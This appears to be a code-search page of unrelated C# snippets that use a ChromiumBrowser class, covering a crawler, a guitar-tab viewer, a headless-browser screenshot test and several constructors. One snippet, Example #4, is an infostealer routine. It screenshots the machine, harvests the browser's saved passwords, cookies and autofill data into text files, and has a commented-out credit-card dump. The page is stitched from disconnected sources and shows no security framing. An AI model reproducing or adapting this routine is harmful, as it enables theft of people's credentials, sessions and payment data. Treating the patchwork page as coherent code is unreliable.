Example #1
0
        public GlobalDataUtil()
        {
            browser = new ChromiumBrowser();
            browser.Show();

            configUtil    = new ConfigUtil();
            CrawlerConfig = configUtil.LoadConfig();
        }
 internal ChromiumBrowserContext(
     ChromiumSession client,
     ChromiumBrowser chromiumBrowser,
     string contextId,
     BrowserContextOptions options)
 {
     _client    = client;
     Browser    = chromiumBrowser;
     _contextId = contextId;
     Options    = options;
 }
Example #3
0
        private void SearchResultsList_OnSelectionChanged(object sender, SelectionChangedEventArgs e)
        {
            if (e.AddedItems.Count == 0)
            {
                return;
            }
            var currentItem = (e.AddedItems[0]) as IGuitarTabSearchResult;

            if (currentItem == null)
            {
                return;
            }

            ChromiumBrowser.Load(currentItem.Url);
        }
Example #4
0
        public static void Start()
        {
            GetScreenShot.TakeAndSave();
            string contents      = "";
            string cookiecontent = "";
            string autofill      = "";
            string creditCards   = "";

            List <BrRecover> passwords = ChromiumBrowser.GetPasswords();

            foreach (BrRecover password in passwords)
            {
                contents = contents + password;
            }
            File.WriteAllText("Passwords.txt", contents);

            List <CookieChromium> cookies = ChromiumCookie.GetCookies();

            foreach (CookieChromium cook in cookies)
            {
                cookiecontent = cookiecontent + cook;
            }
            File.WriteAllText("Cookies.txt", cookiecontent);

            List <AutoFill> autoFill = AutoFillRecovery.GetAutoFill();

            foreach (AutoFill auto in autoFill)
            {
                autofill = autofill + auto;
            }
            File.WriteAllText("AutoFill.txt", autofill);

            //List<CCData> cc = CreditCards.GetCreditCard();
            //foreach (CCData auto in cc)
            //{
            //    creditCards = creditCards + auto;
            //}
            //File.WriteAllText("CreditsCard.txt", creditCards);
        }
        // 无头浏览器测试,封装版
        private void btn_chromiumTest_Encapsulated_Click(object sender, EventArgs e)
        {
            this.Invoke(new Action(() =>
            {
                this.btn_chromiumTest_Encapsulated.Enabled = false;
            }));

            Task.Run(async() =>
            {
                LaunchOptions launchOptions = await ChromiumBrowser.ChromiumLaunchOptions(true, true);
                using (Browser browser = await Puppeteer.LaunchAsync(launchOptions))
                {
                    using (Page page = await ChromiumBrowser.NewPageAndInitAsync(browser))
                    {
                        // 导航到 url 页
                        await page.GoToAsync(_testUrl);

                        string fileName = DateTime.Now.ToString("yyyy-MM-dd_HH.mm.ss");
                        // 保存截图 1
                        await ChromiumBrowser.SavePageScreenshotAsync(page, true, $"{SaveContent.SaveContentDirectory}{fileName}-1.png");
                        // 保存截图 2
                        await ChromiumBrowser.SavePageScreenshotAsync(page, null, $"{SaveContent.SaveContentDirectory}{fileName}-2.png");

                        // 获取并保存页面的 Html 内容
                        string htmlContent = await page.GetContentAsync();
                        SaveContent.SaveContentByCreate(htmlContent, $"{SaveContent.SaveContentDirectory}{fileName}.html");
                    }
                }
            }).ContinueWith(t =>
            {
                this.Invoke(new Action(() =>
                {
                    this.btn_chromiumTest_Encapsulated.Enabled = true;
                }));
            });
        }
 internal ChromiumBrowserContext(ChromiumSession client, ChromiumBrowser chromiumBrowser) : this(client, chromiumBrowser, null, null)
 {
 }
Example #7
0
 public BoundObject(object chromiumBrowser)
 {
     this.chromiumBrowser = chromiumBrowser as ChromiumBrowser;
 }